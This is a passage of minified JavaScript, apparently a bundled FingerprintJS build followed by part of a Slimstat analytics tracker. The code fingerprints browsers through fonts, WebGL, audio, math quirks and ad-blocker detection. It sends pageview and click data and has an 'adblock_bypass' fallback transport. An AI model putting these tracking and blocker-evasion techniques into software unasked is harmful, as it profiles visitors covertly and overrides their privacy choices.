xlZ3JhbS5tZS9zaGFyZS91cmw\u002FIl0=\"),\".etsy-tweet\",\"#inlineShare\",\".popup-social\"],adGuardSpanishPortuguese:[\"#barraPublicidade\",\"#Publicidade\",\"#publiEspecial\",\"#queTooltip\",\".cnt-publi\"],adGuardTrackingProtection:[\"#qoo-counter\",e(\"YVtocmVmXj0iaHR0cDovL2NsaWNrLmhvdGxvZy5ydS8iXQ==\"),e(\"YVtocmVmXj0iaHR0cDovL2hpdGNvdW50ZXIucnUvdG9wL3N0YXQucGhwIl0=\"),e(\"YVtocmVmXj0iaHR0cDovL3RvcC5tYWlsLnJ1L2p1bXAiXQ==\"),\"#top100counter\"],adGuardTurkish:[\"#backkapat\",e(\"I3Jla2xhbWk=\"),e(\"YVtocmVmXj0iaHR0cDovL2Fkc2Vydi5vbnRlay5jb20udHIvIl0=\"),e(\"YVtocmVmXj0iaHR0cDovL2l6bGVuemkuY29tL2NhbXBhaWduLyJd\"),e(\"YVtocmVmXj0iaHR0cDovL3d3dy5pbnN0YWxsYWRzLm5ldC8iXQ==\")],bulgarian:[e(\"dGQjZnJlZW5ldF90YWJsZV9hZHM=\"),\"#ea_intext_div\",\".lapni-pop-over\",\"#xenium_hot_offers\"],easyList:[\".yb-floorad\",e(\"LndpZGdldF9wb19hZHNfd2lkZ2V0\"),e(\"LnRyYWZmaWNqdW5reS1hZA==\"),\".textad_headline\",e(\"LnNwb25zb3JlZC10ZXh0LWxpbmtz\")],easyListChina:[e(\"LmFwcGd1aWRlLXdyYXBbb25jbGljayo9ImJjZWJvcy5jb20iXQ==\"),e(\"LmZyb250cGFnZUFkdk0=\"),\"#taotaole\",\"#aafoot.top_box\",\".cfa_popup\"],easyListCookie:[\".ezmob-footer\",\".cc-CookieWarning\",\"[data-cookie-number]\",e(\"LmF3LWNvb2tpZS1iYW5uZXI=\"),\".sygnal24-gdpr-modal-wrap\"],easyListCzechSlovak:[\"#onlajny-stickers\",e(\"I3Jla2xhbW5pLWJveA==\"),e(\"LnJla2xhbWEtbWVnYWJvYXJk\"),\".sklik\",e(\"W2lkXj0ic2tsaWtSZWtsYW1hIl0=\")],easyListDutch:[e(\"I2FkdmVydGVudGll\"),e(\"I3ZpcEFkbWFya3RCYW5uZXJCbG9jaw==\"),\".adstekst\",e(\"YVtocmVmXj0iaHR0cHM6Ly94bHR1YmUubmwvY2xpY2svIl0=\"),\"#semilo-lrectangle\"],easyListGermany:[\"#SSpotIMPopSlider\",e(\"LnNwb25zb3JsaW5rZ3J1ZW4=\"),e(\"I3dlcmJ1bmdza3k=\"),e(\"I3Jla2xhbWUtcmVjaHRzLW1pdHRl\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9iZDc0Mi5jb20vIl0=\")],easyListItaly:[e(\"LmJveF9hZHZfYW5udW5jaQ==\"),\".sb-box-pubbliredazionale\",e(\"YVtocmVmXj0iaHR0cDovL2FmZmlsaWF6aW9uaWFkcy5zbmFpLml0LyJd\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9hZHNlcnZlci5odG1sLml0LyJd\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9hZmZpbGlhemlvbmlhZHMuc25haS5pdC8iXQ==\")],easyListLithuania:[e(\"LnJla2xhbW9zX3RhcnBhcw==\"),e(\"LnJla2xhbW9zX251b3JvZG9z\"),e(\"aW1nW2FsdD0iUmVrbGFtaW5pcyBza3lkZWxpcyJd\"),e(\"aW1nW2FsdD0iRGVkaWt1b3RpLmx0IHNlcnZlcmlhaSJd\"),e(\"aW1nW2FsdD0iSG9zdGluZ2FzIFNlcnZlcmlhaS5sdCJd\")],estonian:[e(\"QVtocmVmKj0iaHR0cDovL3BheTRyZXN1bHRzMjQuZXUiXQ==\")],fanboyAnnoyances:[\"#ac-lre-player\",\".navigate-to-top\",\"#subscribe_popup\",\".newsletter_holder\",\"#back-top\"],fanboyAntiFacebook:[\".util-bar-module-firefly-visible\"],fanboyEnhancedTrackers:[\".open.pushModal\",\"#issuem-leaky-paywall-articles-zero-remaining-nag\",\"#sovrn_container\",'div[class$=\"-hide\"][zoompage-fontsize][style=\"display: block;\"]',\".BlockNag__Card\"],fanboySocial:[\"#FollowUs\",\"#meteored_share\",\"#social_follow\",\".article-sharer\",\".community__social-desc\"],frellwitSwedish:[e(\"YVtocmVmKj0iY2FzaW5vcHJvLnNlIl1bdGFyZ2V0PSJfYmxhbmsiXQ==\"),e(\"YVtocmVmKj0iZG9rdG9yLXNlLm9uZWxpbmsubWUiXQ==\"),\"article.category-samarbete\",e(\"ZGl2LmhvbGlkQWRz\"),\"ul.adsmodern\"],greekAdBlock:[e(\"QVtocmVmKj0iYWRtYW4ub3RlbmV0LmdyL2NsaWNrPyJd\"),e(\"QVtocmVmKj0iaHR0cDovL2F4aWFiYW5uZXJzLmV4b2R1cy5nci8iXQ==\"),e(\"QVtocmVmKj0iaHR0cDovL2ludGVyYWN0aXZlLmZvcnRobmV0LmdyL2NsaWNrPyJd\"),\"DIV.agores300\",\"TABLE.advright\"],hungarian:[\"#cemp_doboz\",\".optimonk-iframe-container\",e(\"LmFkX19tYWlu\"),e(\"W2NsYXNzKj0iR29vZ2xlQWRzIl0=\"),\"#hirdetesek_box\"],iDontCareAboutCookies:['.alert-info[data-block-track*=\"CookieNotice\"]',\".ModuleTemplateCookieIndicator\",\".o--cookies--container\",\"#cookies-policy-sticky\",\"#stickyCookieBar\"],icelandicAbp:[e(\"QVtocmVmXj0iL2ZyYW1ld29yay9yZXNvdXJjZXMvZm9ybXMvYWRzLmFzcHgiXQ==\")],latvian:[e(\"YVtocmVmPSJodHRwOi8vd3d3LnNhbGlkemluaS5sdi8iXVtzdHlsZT0iZGlzcGxheTogYmxvY2s7IHdpZHRoOiAxMjBweDsgaGVpZ2h0OiA0MHB4OyBvdmVyZmxvdzogaGlkZGVuOyBwb3NpdGlvbjogcmVsYXRpdmU7Il0=\"),e(\"YVtocmVmPSJodHRwOi8vd3d3LnNhbGlkemluaS5sdi8iXVtzdHlsZT0iZGlzcGxheTogYmxvY2s7IHdpZHRoOiA4OHB4OyBoZWlnaHQ6IDMxcHg7IG92ZXJmbG93OiBoaWRkZW47IHBvc2l0aW9uOiByZWxhdGl2ZTsiXQ==\")],listKr:[e(\"YVtocmVmKj0iLy9hZC5wbGFuYnBsdXMuY28ua3IvIl0=\"),e(\"I2xpdmVyZUFkV3JhcHBlcg==\"),e(\"YVtocmVmKj0iLy9hZHYuaW1hZHJlcC5jby5rci8iXQ==\"),e(\"aW5zLmZhc3R2aWV3LWFk\"),\".revenue_unit_item.dable\"],listeAr:[e(\"LmdlbWluaUxCMUFk\"),\".right-and-left-sponsers\",e(\"YVtocmVmKj0iLmFmbGFtLmluZm8iXQ==\"),e(\"YVtocmVmKj0iYm9vcmFxLm9yZyJd\"),e(\"YVtocmVmKj0iZHViaXp6bGUuY29tL2FyLz91dG1fc291cmNlPSJd\")],listeFr:[e(\"YVtocmVmXj0iaHR0cDovL3Byb21vLnZhZG9yLmNvbS8iXQ==\"),e(\"I2FkY29udGFpbmVyX3JlY2hlcmNoZQ==\"),e(\"YVtocmVmKj0id2Vib3JhbWEuZnIvZmNnaS1iaW4vIl0=\"),\".site-pub-interstitiel\",'div[id^=\"crt-\"][data-criteo-id]'],officialPolish:[\"#ceneo-placeholder-ceneo-12\",e(\"W2hyZWZePSJodHRwczovL2FmZi5zZW5kaHViLnBsLyJd\"),e(\"YVtocmVmXj0iaHR0cDovL2Fkdm1hbmFnZXIudGVjaGZ1bi5wbC9yZWRpcmVjdC8iXQ==\"),e(\"YVtocmVmXj0iaHR0cDovL3d3dy50cml6ZXIucGwvP3V0bV9zb3VyY2UiXQ==\"),e(\"ZGl2I3NrYXBpZWNfYWQ=\")],ro:[e(\"YVtocmVmXj0iLy9hZmZ0cmsuYWx0ZXgucm8vQ291bnRlci9DbGljayJd\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9ibGFja2ZyaWRheXNhbGVzLnJvL3Ryay9zaG9wLyJd\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9ldmVudC4ycGVyZm9ybWFudC5jb20vZXZlbnRzL2NsaWNrIl0=\"),e(\"YVtocmVmXj0iaHR0cHM6Ly9sLnByb2ZpdHNoYXJlLnJvLyJd\"),'a[href^=\"\u002Furl\u002F\"]'],ruAd:[e(\"YVtocmVmKj0iLy9mZWJyYXJlLnJ1LyJd\"),e(\"YVtocmVmKj0iLy91dGltZy5ydS8iXQ==\"),e(\"YVtocmVmKj0iOi8vY2hpa2lkaWtpLnJ1Il0=\"),\"#pgeldiz\",\".yandex-rtb-block\"],thaiAds:[\"a[href*=macau-uta-popup]\",e(\"I2Fkcy1nb29nbGUtbWlkZGxlX3JlY3RhbmdsZS1ncm91cA==\"),e(\"LmFkczMwMHM=\"),\".bumq\",\".img-kosana\"],webAnnoyancesUltralist:[\"#mod-social-share-2\",\"#social-tools\",e(\"LmN0cGwtZnVsbGJhbm5lcg==\"),\".zergnet-recommend\",\".yt.btn-link.btn-md.btn\"]}}function cr(e){var t=e===void 0?{}:e,n=t.debug;return le(this,void 0,void 0,function(){var i,c,a,u,v,d;return de(this,function(f){switch(f.label){case 0:return ur()?(i=sr(),c=Object.keys(i),a=(d=[]).concat.apply(d,c.map(function(p){return i[p]})),[4,fr(a)]):[2,void 0];case 1:return u=f.sent(),n&&lr(i,u),v=c.filter(function(p){var l=i[p],_=re(l.map(function(k){return u[k]}));return _>l.length*.6}),v.sort(),[2,v]}})})}function ur(){return pe()||qe()}function fr(e){var t;return le(this,void 0,void 0,function(){var n,i,c,a,d,u,v,d;return de(this,function(f){switch(f.label){case 0:for(n=document,i=n.createElement(\"div\"),c=new Array(e.length),a={},dt(i),d=0;d\u003Ce.length;++d)u=_n(e[d]),u.tagName===\"DIALOG\"&&u.show(),v=n.createElement(\"div\"),dt(v),v.appendChild(u),i.appendChild(v),c[d]=u;f.label=1;case 1:return n.body?[3,3]:[4,De(50)];case 2:return f.sent(),[3,1];case 3:n.body.appendChild(i);try{for(d=0;d\u003Ce.length;++d)c[d].offsetParent||(a[e[d]]=!0)}finally{(t=i.parentNode)===null||t===void 0||t.removeChild(i)}return[2,a]}})})}function dt(e){e.style.setProperty(\"visibility\",\"hidden\",\"important\"),e.style.setProperty(\"display\",\"block\",\"important\")}function lr(e,t){for(var n=\"DOM blockers debug:\\n```\",i=0,c=Object.keys(e);i\u003Cc.length;i++){var a=c[i];n+=`\n+`.concat(a,\":\");for(var u=0,v=e[a];u\u003Cv.length;u++){var d=v[u];n+=`\n+  `.concat(t[d]?\"\\u{1F6AB}\":\"\\u27A1\\uFE0F\",\" \").concat(d)}}console.log(\"\".concat(n,\"\\n```\"))}function dr(){for(var e=0,t=[\"rec2020\",\"p3\",\"srgb\"];e\u003Ct.length;e++){var n=t[e];if(matchMedia(\"(color-gamut: \".concat(n,\")\")).matches)return n}}function vr(){if(vt(\"inverted\"))return!0;if(vt(\"none\"))return!1}function vt(e){return matchMedia(\"(inverted-colors: \".concat(e,\")\")).matches}function pr(){if(pt(\"active\"))return!0;if(pt(\"none\"))return!1}function pt(e){return matchMedia(\"(forced-colors: \".concat(e,\")\")).matches}var mr=100;function hr(){if(matchMedia(\"(min-monochrome: 0)\").matches){for(var e=0;e\u003C=mr;++e)if(matchMedia(\"(max-monochrome: \".concat(e,\")\")).matches)return e;throw new Error(\"Too high value\")}}function gr(){if(Ie(\"no-preference\"))return 0;if(Ie(\"high\")||Ie(\"more\"))return 1;if(Ie(\"low\")||Ie(\"less\"))return-1;if(Ie(\"forced\"))return 10}function Ie(e){return matchMedia(\"(prefers-contrast: \".concat(e,\")\")).matches}function wr(){if(mt(\"reduce\"))return!0;if(mt(\"no-preference\"))return!1}function mt(e){return matchMedia(\"(prefers-reduced-motion: \".concat(e,\")\")).matches}function yr(){if(ht(\"reduce\"))return!0;if(ht(\"no-preference\"))return!1}function ht(e){return matchMedia(\"(prefers-reduced-transparency: \".concat(e,\")\")).matches}function br(){if(gt(\"high\"))return!0;if(gt(\"standard\"))return!1}function gt(e){return matchMedia(\"(dynamic-range: \".concat(e,\")\")).matches}var D=Math,ne=function(){return 0};function _r(){var e=D.acos||ne,t=D.acosh||ne,n=D.asin||ne,i=D.asinh||ne,c=D.atanh||ne,a=D.atan||ne,u=D.sin||ne,v=D.sinh||ne,d=D.cos||ne,f=D.cosh||ne,p=D.tan||ne,l=D.tanh||ne,_=D.exp||ne,k=D.expm1||ne,G=D.log1p||ne,N=function(O){return D.pow(D.PI,O)},z=function(O){return D.log(O+D.sqrt(O*O-1))},F=function(O){return D.log(O+D.sqrt(O*O+1))},Y=function(O){return D.log((1+O)\u002F(1-O))\u002F2},K=function(O){return D.exp(O)-1\u002FD.exp(O)\u002F2},$=function(O){return(D.exp(O)+1\u002FD.exp(O))\u002F2},ee=function(O){return D.exp(O)-1},T=function(O){return(D.exp(2*O)-1)\u002F(D.exp(2*O)+1)},se=function(O){return D.log(1+O)};return{acos:e(.12312423423423424),acosh:t(1e308),acoshPf:z(1e154),asin:n(.12312423423423424),asinh:i(1),asinhPf:F(1),atanh:c(.5),atanhPf:Y(.5),atan:a(.5),sin:u(-1e300),sinh:v(1),sinhPf:K(1),cos:d(10.000000000123),cosh:f(1),coshPf:$(1),tan:p(-1e300),tanh:l(1),tanhPf:T(1),exp:_(1),expm1:k(1),expm1Pf:ee(1),log1p:G(10),log1pPf:se(10),powPI:N(-100)}}var Sr=\"mmMwWLliI0fiflO&1\",Ye={default:[],apple:[{font:\"-apple-system-body\"}],serif:[{fontFamily:\"serif\"}],sans:[{fontFamily:\"sans-serif\"}],mono:[{fontFamily:\"monospace\"}],min:[{fontSize:\"1px\"}],system:[{fontFamily:\"system-ui\"}]};function Cr(){return kr(function(e,t){for(var n={},i={},c=0,a=Object.keys(Ye);c\u003Ca.length;c++){var u=a[c],v=Ye[u],d=v[0],f=d===void 0?{}:d,p=v[1],l=p===void 0?Sr:p,_=e.createElement(\"span\");_.textContent=l,_.style.whiteSpace=\"nowrap\";for(var k=0,G=Object.keys(f);k\u003CG.length;k++){var N=G[k],z=f[N];z!==void 0&&(_.style[N]=z)}n[u]=_,t.append(e.createElement(\"br\"),_)}for(var F=0,Y=Object.keys(Ye);F\u003CY.length;F++){var u=Y[F];i[u]=n[u].getBoundingClientRect().width}return i})}function kr(e,t){return t===void 0&&(t=4e3),kt(function(n,i){var c=i.document,a=c.body,u=a.style;u.width=\"\".concat(t,\"px\"),u.webkitTextSizeAdjust=u.textSizeAdjust=\"none\",Ae()?a.style.zoom=\"\".concat(1\u002Fi.devicePixelRatio):pe()&&(a.style.zoom=\"reset\");var v=c.createElement(\"div\");return v.textContent=Ze([],Array(t\u002F20\u003C\u003C0),!0).map(function(){return\"word\"}).join(\" \"),a.appendChild(v),e(c,a)},'\u003C!doctype html>\u003Chtml>\u003Chead>\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">')}function Lr(){return navigator.pdfViewerEnabled}function Er(){var e=new Float32Array(1),t=new Uint8Array(e.buffer);return e[0]=1\u002F0,e[0]=e[0]-e[0],t[3]}function Pr(){var e=window.ApplePaySession;if(typeof e?.canMakePayments!=\"function\")return-1;if(xr())return-3;try{return e.canMakePayments()?1:0}catch(t){return Ir(t)}}var xr=Cn;function Ir(e){if(e instanceof Error&&e.name===\"InvalidAccessError\"&&\u002F\\bfrom\\b.*\\binsecure\\b\u002Fi.test(e.message))return-2;throw e}function Rr(){var e,t=document.createElement(\"a\"),n=(e=t.attributionSourceId)!==null&&e!==void 0?e:t.attributionsourceid;return n===void 0?void 0:String(n)}var Lt=-1,Et=-2,Tr=new Set([10752,2849,2884,2885,2886,2928,2929,2930,2931,2932,2960,2961,2962,2963,2964,2965,2966,2967,2968,2978,3024,3042,3088,3089,3106,3107,32773,32777,32777,32823,32824,32936,32937,32938,32939,32968,32969,32970,32971,3317,33170,3333,3379,3386,33901,33902,34016,34024,34076,3408,3410,3411,3412,3413,3414,3415,34467,34816,34817,34818,34819,34877,34921,34930,35660,35661,35724,35738,35739,36003,36004,36005,36347,36348,36349,37440,37441,37443,7936,7937,7938]),Ar=new Set([34047,35723,36063,34852,34853,34854,34229,36392,36795,38449]),Nr=[\"FRAGMENT_SHADER\",\"VERTEX_SHADER\"],Fr=[\"LOW_FLOAT\",\"MEDIUM_FLOAT\",\"HIGH_FLOAT\",\"LOW_INT\",\"MEDIUM_INT\",\"HIGH_INT\"],Pt=\"WEBGL_debug_renderer_info\",Or=\"WEBGL_polygon_mode\";function Mr(e){var t,n,i,c,a,u,v=e.cache,d=xt(v);if(!d)return Lt;if(!Rt(d))return Et;var f=It()?null:d.getExtension(Pt);return{version:((t=d.getParameter(d.VERSION))===null||t===void 0?void 0:t.toString())||\"\",vendor:((n=d.getParameter(d.VENDOR))===null||n===void 0?void 0:n.toString())||\"\",vendorUnmasked:f?(i=d.getParameter(f.UNMASKED_VENDOR_WEBGL))===null||i===void 0?void 0:i.toString():\"\",renderer:((c=d.getParameter(d.RENDERER))===null||c===void 0?void 0:c.toString())||\"\",rendererUnmasked:f?(a=d.getParameter(f.UNMASKED_RENDERER_WEBGL))===null||a===void 0?void 0:a.toString():\"\",shadingLanguageVersion:((u=d.getParameter(d.SHADING_LANGUAGE_VERSION))===null||u===void 0?void 0:u.toString())||\"\"}}function jr(e){var t=e.cache,n=xt(t);if(!n)return Lt;if(!Rt(n))return Et;var i=n.getSupportedExtensions(),c=n.getContextAttributes(),a=[],u=[],v=[],d=[],f=[];if(c)for(var p=0,l=Object.keys(c);p\u003Cl.length;p++){var _=l[p];u.push(\"\".concat(_,\"=\").concat(c[_]))}for(var k=wt(n),G=0,N=k;G\u003CN.length;G++){var z=N[G],F=n[z];v.push(\"\".concat(z,\"=\").concat(F).concat(Tr.has(F)?\"=\".concat(n.getParameter(F)):\"\"))}if(i)for(var Y=0,K=i;Y\u003CK.length;Y++){var $=K[Y];if(!($===Pt&&It()||$===Or&&Dr())){var ee=n.getExtension($);if(!ee){a.push($);continue}for(var T=0,se=wt(ee);T\u003Cse.length;T++){var z=se[T],F=ee[z];d.push(\"\".concat(z,\"=\").concat(F).concat(Ar.has(F)?\"=\".concat(n.getParameter(F)):\"\"))}}}for(var O=0,Le=Nr;O\u003CLe.length;O++)for(var Se=Le[O],g=0,h=Fr;g\u003Ch.length;g++){var C=h[g],b=Vr(n,Se,C);f.push(\"\".concat(Se,\".\").concat(C,\"=\").concat(b.join(\",\")))}return d.sort(),v.sort(),{contextAttributes:u,parameters:v,shaderPrecisions:f,extensions:i,extensionParameters:d,unsupportedExtensions:a}}function xt(e){if(e.webgl)return e.webgl.context;var t=document.createElement(\"canvas\"),n;t.addEventListener(\"webglCreateContextError\",function(){return n=void 0});for(var i=0,c=[\"webgl\",\"experimental-webgl\"];i\u003Cc.length;i++){var a=c[i];try{n=t.getContext(a)}catch{}if(n)break}return e.webgl={context:n},n}function Vr(e,t,n){var i=e.getShaderPrecisionFormat(e[t],e[n]);return i?[i.rangeMin,i.rangeMax,i.precision]:[]}function wt(e){var t=Object.keys(e.__proto__);return t.filter(Wr)}function Wr(e){return typeof e==\"string\"&&!e.match(\u002F[^A-Z0-9_x]\u002F)}function It(){return Ct()}function Dr(){return Ae()||pe()}function Rt(e){return typeof e.getParameter==\"function\"}function Gr(){var e=qe()||pe();if(!e)return-2;if(!window.AudioContext)return-1;var t=new AudioContext().baseLatency;return t==null?-1:isFinite(t)?t:-3}function Zr(){if(!window.Intl)return-1;var e=window.Intl.DateTimeFormat;if(!e)return-2;var t=e().resolvedOptions().locale;return!t&&t!==\"\"?-3:t}var Hr={fonts:En,domBlockers:cr,fontPreferences:Cr,audio:mn,screenFrame:Jn,canvas:xn,osCpu:Vn,languages:Wn,colorDepth:Dn,deviceMemory:Gn,screenResolution:Zn,hardwareConcurrency:Un,timezone:qn,sessionStorage:Kn,localStorage:$n,indexedDB:er,openDatabase:tr,cpuClass:nr,platform:rr,plugins:Pn,touchSupport:jn,vendor:ir,vendorFlavors:ar,cookiesEnabled:or,colorGamut:dr,invertedColors:vr,forcedColors:pr,monochrome:hr,contrast:gr,reducedMotion:wr,reducedTransparency:yr,hdr:br,math:_r,pdfViewerEnabled:Lr,architecture:Er,applePay:Pr,privateClickMeasurement:Rr,audioBaseLatency:Gr,dateTimeLocale:Zr,webGlBasics:Mr,webGlExtensions:jr};function Xr(e){return on(Hr,e,[])}var Yr=\"$ if upgrade to Pro: https:\u002F\u002Ffpjs.dev\u002Fpro\";function Br(e){var t=zr(e),n=Jr(t);return{score:t,comment:Yr.replace(\u002F\\$\u002Fg,\"\".concat(n))}}function zr(e){if(qe())return .4;if(pe())return Ue()&&!(Fe()&&Ne())?.5:.3;var t=\"value\"in e.platform?e.platform.value:\"\";return\u002F^Win\u002F.test(t)?.6:\u002F^Mac\u002F.test(t)?.5:.7}function Jr(e){return _t(.99+.01*e,1e-4)}function Ur(e){for(var t=\"\",n=0,i=Object.keys(e).sort();n\u003Ci.length;n++){var c=i[n],a=e[c],u=\"error\"in a?\"error\":JSON.stringify(a.value);t+=\"\".concat(t?\"|\":\"\").concat(c.replace(\u002F([:|\\\\])\u002Fg,\"\\\\$1\"),\":\").concat(u)}return t}function Tt(e){return JSON.stringify(e,function(t,n){return n instanceof Error?tn(n):n},2)}function At(e){return en(Ur(e))}function qr(e){var t,n=Br(e);return{get visitorId(){return t===void 0&&(t=At(this.components)),t},set visitorId(i){t=i},confidence:n,components:e,version:yt}}function Qr(e){return e===void 0&&(e=50),Yt(e,e*2)}function Kr(e,t){var n=Date.now();return{get:function(i){return le(this,void 0,void 0,function(){var c,a,u;return de(this,function(v){switch(v.label){case 0:return c=Date.now(),[4,e()];case 1:return a=v.sent(),u=qr(a),(t||i?.debug)&&console.log(\"Copy the text below to get the debug data:\\n\\n```\\nversion: \".concat(u.version,`\n+userAgent: `).concat(navigator.userAgent,`\n+timeBetweenLoadAndGet: `).concat(c-n,`\n+visitorId: `).concat(u.visitorId,`\n+components: `).concat(Tt(a),\"\\n```\")),[2,u]}})})}}}function $r(){if(!(window.__fpjs_d_m||Math.random()>=.001))try{var e=new XMLHttpRequest;e.open(\"get\",\"https:\u002F\u002Fm1.openfpcdn.io\u002Ffingerprintjs\u002Fv\".concat(yt,\"\u002Fnpm-monitoring\"),!0),e.send()}catch(t){console.error(t)}}function ei(e){var t;return e===void 0&&(e={}),le(this,void 0,void 0,function(){var n,i,c;return de(this,function(a){switch(a.label){case 0:return(!((t=e.monitoring)!==null&&t!==void 0)||t)&&$r(),n=e.delayFallback,i=e.debug,[4,Qr(n)];case 1:return a.sent(),c=Xr({cache:{},debug:i}),[2,Kr(c,i)]}})})}var Ge={load:ei,hashComponents:At,componentsToDebugString:Tt};var R=(function(){var e=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-\",t=\"\",n=\"\",i=0,c=!1,a=[],u=!1,v=4,d=80,f=\"\",p=0,l=20,_=[],k=function(){return[]},G=function(){},N=function(){return{}},z=!1;function F(r){_.length>=l&&_.shift(),_.push(r)}function Y(){if(_.length){var r=N();if(!(!r.id||parseInt(r.id,10)\u003C=0))for(;_.length;){var s=_.shift(),o=\"action=slimtrack&id=\"+r.id+s;I(o,!0,{priority:\"normal\"})}}}var K=\"slimstat_offline_queue\";function $(r){r=(r||\"\").replace(\u002F\\r\\n\u002Fg,`\n+`);for(var s=\"\",o=0;o\u003Cr.length;o++){var m=r.charCodeAt(o);m\u003C128?s+=String.fromCharCode(m):m\u003C2048?s+=String.fromCharCode(m>>6|192,m&63|128):s+=String.fromCharCode(m>>12|224,m>>6&63|128,m&63|128)}return s}function ee(r){var s=\"\",o=0;for(r=$(r);o\u003Cr.length;){var m=r.charCodeAt(o++),S=r.charCodeAt(o++),w=r.charCodeAt(o++),P=m>>2,x=(m&3)\u003C\u003C4|S>>4,E=(S&15)\u003C\u003C2|w>>6,L=w&63;isNaN(S)?E=L=64:isNaN(w)&&(L=64),s+=e.charAt(P)+e.charAt(x)+e.charAt(E)+e.charAt(L)}return s}function T(r){if(r==null)return!0;var s=typeof r;return s===\"boolean\"?!r:s===\"number\"?isNaN(r)||r===0:s===\"string\"||Array.isArray(r)?r.length===0:s===\"object\"?Object.keys(r).length===0:!1}function se(r,s){if(!r||!s||!s.length)return!1;for(var o=0;o\u003Cs.length;o++)if(r.indexOf(s[o].trim())!==-1)return!0;return!1}function O(r){var s=\"; \"+document.cookie,o=s.split(\"; \"+r+\"=\");return o.length===2?o.pop().split(\";\").shift():\"\"}function Le(r,s,o){r&&(r.addEventListener?r.addEventListener(s,o,!1):r.attachEvent?r.attachEvent(\"on\"+s,o):r[\"on\"+s]=o)}function Se(){var r=(window.performance||{}).timing||{};return!r.responseEnd||!r.connectEnd?0:r.responseEnd-r.connectEnd}function g(){var r=(window.performance||{}).timing||{};return!r.loadEventEnd||!r.responseEnd?0:r.loadEventEnd-r.responseEnd}function h(r,s,o){return r&&r[s]&&r[s].value!==void 0?r[s].value:o}function C(){var r=document.querySelector('meta[name=\"slimstat-params\"]');if(r)try{window.SlimStatParams=JSON.parse(r.getAttribute(\"content\"))||{}}catch{}else for(var s=document.querySelectorAll(\"script\"),o=s.length-1;o>=0;o--){var m=s[o].textContent.match(\u002Fvar\\s+SlimStatParams\\s*=\\s*({[\\s\\S]*?});\u002F);if(m)try{window.SlimStatParams=new Function(\"return \"+m[1])()||{};break}catch{}}return N()}function b(r){try{if(r&&r.visitorId){t=r.visitorId;return}t=\"\"}catch{t=\"\"}}function y(r){var s=r&&typeof r==\"object\"&&!Array.isArray(r),o=[0,0];try{s&&(o=h(r,\"screenResolution\",[0,0])),(!o||o[0]===0)&&window.screen&&(o=[window.screen.width||0,window.screen.height||0])}catch{o=[0,0]}var m=0;try{s&&(m=h(r,\"timezoneOffset\",0)),m===0&&!s&&(m=new Date().getTimezoneOffset())}catch{m=0}return\"&sw=\"+o[0]+\"&sh=\"+o[1]+\"&bw=\"+window.innerWidth+\"&bh=\"+window.innerHeight+\"&sl=\"+Se()+\"&pp=\"+g()+\"&fh=\"+t+\"&tz=\"+m}function I(r,s,o){if(T(r))return!1;o=o||{};var m={payload:r,useBeacon:s,opts:o,attempts:0},S=a.some(function(P){return P.payload===r});if(S)return!1;if(a.length>d)for(var w=a.length-1;w>=0&&a.length>d;w--)a[w].opts.priority!==\"high\"&&a.splice(w,1);return o.immediate||o.priority===\"high\"?(!a.length||a[0].payload!==r)&&a.unshift(m):a.push(m),u||H(),!0}function H(){if(!(u||!a.length)){var r=a.shift();if(r){u=!0;var s=function(o){if(!o&&r)if(r.attempts=(r.attempts||0)+1,r.attempts\u003Cv){var m=500*Math.pow(2,r.attempts);setTimeout(function(){a.unshift(r)},m)}else R.store_offline(r.payload),r.opts&&typeof r.opts.onComplete==\"function\"&&r.opts.onComplete(!1);else r.opts&&typeof r.opts.onComplete==\"function\"&&r.opts.onComplete(!!o);u=!1,setTimeout(H,50)};M(r,s)}}}function M(r,s){var o=N(),m=r.payload,S=r.useBeacon,w=T(o.id)||isNaN(parseInt(o.id,10))||parseInt(o.id,10)\u003C=0,P=[\"rest\",\"ajax\",\"adblock_bypass\"],x={rest:o.ajaxurl_rest,ajax:o.ajaxurl_ajax,adblock_bypass:o.ajaxurl_adblock},E=o.transport,L=[E].concat(P.filter(function(W){return W!==E}));function j(W,B,J){J=J||{useNonce:!0};var q;try{q=new XMLHttpRequest}catch{return B&&B(),!1}q.open(\"POST\",W,!0),q.setRequestHeader(\"Content-type\",\"application\u002Fx-www-form-urlencoded\"),q.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),J.useNonce&&o.wp_rest_nonce&&q.setRequestHeader(\"X-WP-Nonce\",o.wp_rest_nonce),q.withCredentials=!0,q.onreadystatechange=function(){if(q.readyState===4){if(q.status===403&&J.useNonce&&o.wp_rest_nonce){j(W,B,{useNonce:!1});return}if(q.status===200){var Z=parseInt(q.responseText,10);if(!isNaN(Z)&&Z>0){o.id=q.responseText;try{window.slimstatPageviewTracked=!0}catch{}Y()}if(w&&(isNaN(Z)||Z\u003C=0)){B&&B();return}s(!0)}else B&&B()}};try{q.send(m)}catch{B&&B()}return!0}function V(W){if(W>=L.length)return s(!1),!1;var B=L[W],J=x[B];if(!J)return V(W+1);if(S&&navigator.sendBeacon&&W===0){var q=navigator.sendBeacon(J,m);return q?(s(!0),!0):V(W+1)}return j(J,function(){V(W+1)},{useNonce:!0})}V(0)}function A(r,s,o){var m=N();if(T(m.id)||isNaN(parseInt(m.id,10))||parseInt(m.id,10)\u003C=0){try{var S=X(r,s);F(S)}catch{}return!1}if(!r||T(r.type)||r.type===\"focus\")return!1;o=typeof o==\"boolean\"?o:!0;var w=r.target||r.srcElement;if(!w)return!1;var P={};T(s)||(P.note=s);var x=\"\";if((function(){if(w.nodeName){var Oe=w.nodeName.toLowerCase();if(Oe===\"input\"||Oe===\"button\"){for(var Q=w.parentNode;Q&&Q.nodeName&&Q.nodeName.toLowerCase()!==\"form\";)Q=Q.parentNode;Q&&Q.action&&(x=Q.action);return}if(!w.href||typeof w.href!=\"string\"){for(var Q=w.parentNode;Q&&Q.nodeName&&!Q.href;)Q=Q.parentNode;Q&&(Q.hash&&Q.hostname===location.hostname?x=Q.hash:Q.href&&(x=Q.href))}else w.hash?x=w.hash:x=w.href}})(),typeof w.getAttribute==\"function\"){w.textContent&&(P.text=w.textContent);var E=w.getAttribute(\"value\");E&&(P.value=E);var L=w.getAttribute(\"title\");L&&(P.title=L);var 